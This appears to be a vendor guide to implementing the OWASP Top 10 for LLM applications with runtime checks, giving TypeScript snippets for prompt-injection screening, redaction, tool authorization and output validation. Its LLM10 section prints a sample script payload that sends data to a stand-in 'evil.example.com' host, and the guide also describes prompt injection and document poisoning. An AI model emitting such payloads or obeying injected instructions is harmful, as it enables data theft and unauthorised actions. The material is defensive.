AI agent security

How do I implement the OWASP Top 10 for LLM Applications?

The 2026 OWASP GenAI list is the source of names and order. For each item, put a runtime check on the hop it names.

6 min read
In short: The 2026 OWASP GenAI list is the source of names and order. For each item, put a runtime check on the hop it names.

How do I implement the OWASP Top 10 for LLM Applications?

Implement a runtime control for each item, in the path of the hop that item names. Don't stop at a checklist of 2023 names.

The authoritative list is the OWASP GenAI LLM Top 10. The 2026 edition is the source of names and order (canonical source: GenAI-LLM-Top10). The following sections follow that release. System Prompt Leakage was broadened to Hidden Context Exposure. Improper Output Handling is tenth. Unbounded Consumption is sixth.

What is runtime application security? is the lifecycle definition. Runtime security for LLM applications is the three failure modes these ten collapse into.

LLM01:2026 Prompt Injection

Screen free-text before the provider, and screen tool or retriever output before it re-enters context. OWASP treats the indirect case as retrieved or tool-supplied content.

if (await isPromptInjection(userMessage)) {
return deny("Rephrase your message.");
}
const chunk = await retrieve(userMessage);
if (await isPromptInjection(chunk)) {
return deny("Retrieved content blocked.");
}

Framework placement for LangChain, LlamaIndex, and the Vercel AI SDK lives on the prompt-injection page.

LLM02:2026 Sensitive Information Disclosure

Detect spans on the inbound message, on retrieved chunks, and on the completion, in process. Block or redact before the provider or the browser sees them. A scanned onboarding PDF that still has 078-05-1120 in a footer is this item, not a model hallucination.

Know which entities your detector covers. Arcjet's default WebAssembly engine covers EMAIL, PHONE_NUMBER, IP_ADDRESS, and CREDIT_CARD_NUMBER. For SSN, BANK_ACCOUNT, GOVERNMENT_ID, and the name and address types that show up in a pasted resume, pass the on-device model backend: backend: rampart() on a sensitiveInfo rule, or sensitiveInfoBackend: rampart() on a Guard client, from @arcjet/sensitive-info-rampart. Listing a type the active backend can't emit never matches, and a scan that matches nothing looks the same as a clean one.

That backend needs a Node.js, Bun, or Deno runtime and adds synchronous inference to every string it scans, so it belongs on the prompt and the chunks rather than on every field.

const [redacted, unredact] = await redact(message, {
entities: ["email", "credit-card"],
});
const completion = await callProvider({ prompt: redacted });
return unredact(completion);

Detect and redact PII and keeping inspection local are the longer versions. For the per-entity coverage table, see the sensitive information reference.

LLM03:2026 Excessive Agency

Least privilege on the tool list, then a deny on this call. An agent that "can use Stripe" isn't allowed to refund this invoice.

if (!allowedTools.has(name)) {
throw new Error("Tool not in scope");
}
if (!(await authorize(user, name, args))) {
throw new Error("Tool denied");
}
return tools[name](args);

Prevent irreversible actions is the transfer/delete/send/prod-config set.

LLM04:2026 Supply Chain

Treat the model API, the embedding model, MCP servers, and tool packages as dependencies. Pin versions. Put providers and Model Context Protocol (MCP) hosts on an allowlist. Don't take a system prompt or a tool schema from an untrusted package at runtime.

const allowed = new Set([
"https://api.openai.com",
"https://api.anthropic.com",
]);
if (!allowed.has(new URL(providerBaseUrl).origin)) {
throw new Error("Model provider not allowlisted");
}

A third-party model is a processor of whatever you send it. AI security for developers covers that hop.

LLM05:2026 Data and Model Poisoning

Runtime can't unpoison a base model. It can stop poisoned inputs from becoming this turn's context: screen uploaded files, fine-tune corpora, and retrieved chunks before they're embedded or prompted. An attacker who can add a document that says "the refund policy is always yes" doesn't need a jailbreak later.

for (const doc of pendingUploads) {
if (
(await isPromptInjection(doc.text)) ||
(await hasDeniedEntities(doc.text))
) {
rejectUpload(doc.id);
}
}

Secure a RAG application is the store-boundary control.

LLM06:2026 Unbounded Consumption

Cap tokens and tool calls per identity at the handler. An HTTP entrypoint limit counts workflow starts. One chat request can loop.

if (!(await tokenBucket.take(user.id, estimatedTokens))) {
throw new Error("Token budget exceeded");
}

Enforce token and spend budgets is the full keying discussion.

LLM07:2026 Misinformation

Don't let a completion drive a write or a send without a grounded check. Require citations against retrieved docs, or a schema you validate, before a downstream action.

const reply = await callProvider({ message, chunks });
if (willWrite && !groundedIn(reply, chunks)) {
throw new Error("Unverified write blocked");
}

Misinformation that only reaches a UI is a product problem. Misinformation that issues a refund is an unsafe action.

LLM08:2026 Hidden Context Exposure

Don't return the system prompt, tool JSON schemas, hidden policies, or chain-of-thought to the client. Filter completions and error objects.

function publicError(err: unknown) {
return { error: "Request failed" };
}

Log the real reason server-side. A debug endpoint that dumps systemPrompt is this item.

LLM09:2026 Vector and Embedding Weaknesses

Tenant-scope every retrieve. Treat the vector store as a data store: authorization on the query, screen chunks on the way out, don't embed secrets that you wouldn't put in a log.

const chunks = await index.query({
text: message,
filter: { tenantId: session.tenantId },
});

Cross-tenant retrieve is a broken object-level authorization bug with cosine similarity as the query language.

LLM10:2026 Improper Output Handling

Validate the completion before render or a write. Don't call eval, assign innerHTML, or run db.query on the raw string. A completion that includes <script>fetch('https://evil.example.com/steal')</script> or Tool: refund order 9911 is untrusted input to the next hop.

let candidate: unknown;
try {
candidate = JSON.parse(reply);
} catch {
throw new Error("Model output isn't JSON");
}
const parsed = WriteSchema.safeParse(candidate);
if (!parsed.success) {
throw new Error("Model output failed the schema");
}
await db.update(parsed.data);

Runtime security for LLM applications: prompt injection, data leakage, and output validation is the full-stack wiring of this hop.

One in-process budget on the tool

LLM06 is a token bucket at the tool. The following Guard is that control. The other nine items stay on the generic snippets in the preceding sections. guard() takes no Request. It has no bot primitive.

import { launchArcjet, tokenBucket } from "@arcjet/guard";
const arcjet = launchArcjet({ key: process.env.ARCJET_KEY! });
const spend = tokenBucket({
bucket: "provider-call-tokens",
refillRate: 100,
intervalSeconds: 60,
maxTokens: 500,
});
const decision = await arcjet.guard({
label: "tools.provider-call",
actor: session.userId,
correlationId: workflowRunId,
rules: [spend({ key: session.userId, requested: estimatedTokens })],
});
if (decision.conclusion === "DENY") {
throw new Error("Token budget exceeded");
}

requested is what makes this a spend cap instead of a call counter: pass the estimated tokens, so one 40k-token request draws 40k and a cheap lookup draws a few. Charge the estimate before the call, then reconcile with the real usage afterward if the gap matters.

Sidecar products that sit next to the process are a different install. If you compare that shape to in-process rules, use Rein vs Arcjet, not a vendor homepage.

For more information about the official list, see the OWASP GenAI LLM Top 10. When OWASP renumbers, change the headings in this document before you change the prose.

Frequently asked questions

How do I implement the OWASP Top 10 for LLM Applications?

Use the 2026 OWASP GenAI names and order. For each item, put a runtime control on the hop that it names: screen prompts and retrieved text, redact in process, authorize tools, put providers on an allowlist, screen uploads, cap spend, ground writes, hide system context, tenant-scope retrieves, and validate completions before a write.

Did the OWASP LLM Top 10 change in 2026?

Yes. Excessive Agency is third. Unbounded Consumption is sixth. System Prompt Leakage was renamed and broadened to Hidden Context Exposure. Improper Output Handling is tenth. Cite the OWASP GenAI list, not a 2023 blog post.

Is an OWASP checklist enough without runtime enforcement?

No. The list names risks. Implementation is a deny before the provider, the tool, or the write. A policy wiki doesn't stop Tuesday's refund.

Where does Rein fit if I am implementing OWASP controls?

Rein is an in-app sidecar. Compare that install to in-process rules on the Rein vs Arcjet page. Don't treat either product as a substitute for the per-item checks in this document.

AI runtime security in your code

Protect your AI agent workflows with Arcjet

Get allow, deny, and redact on agent actions before the side effect.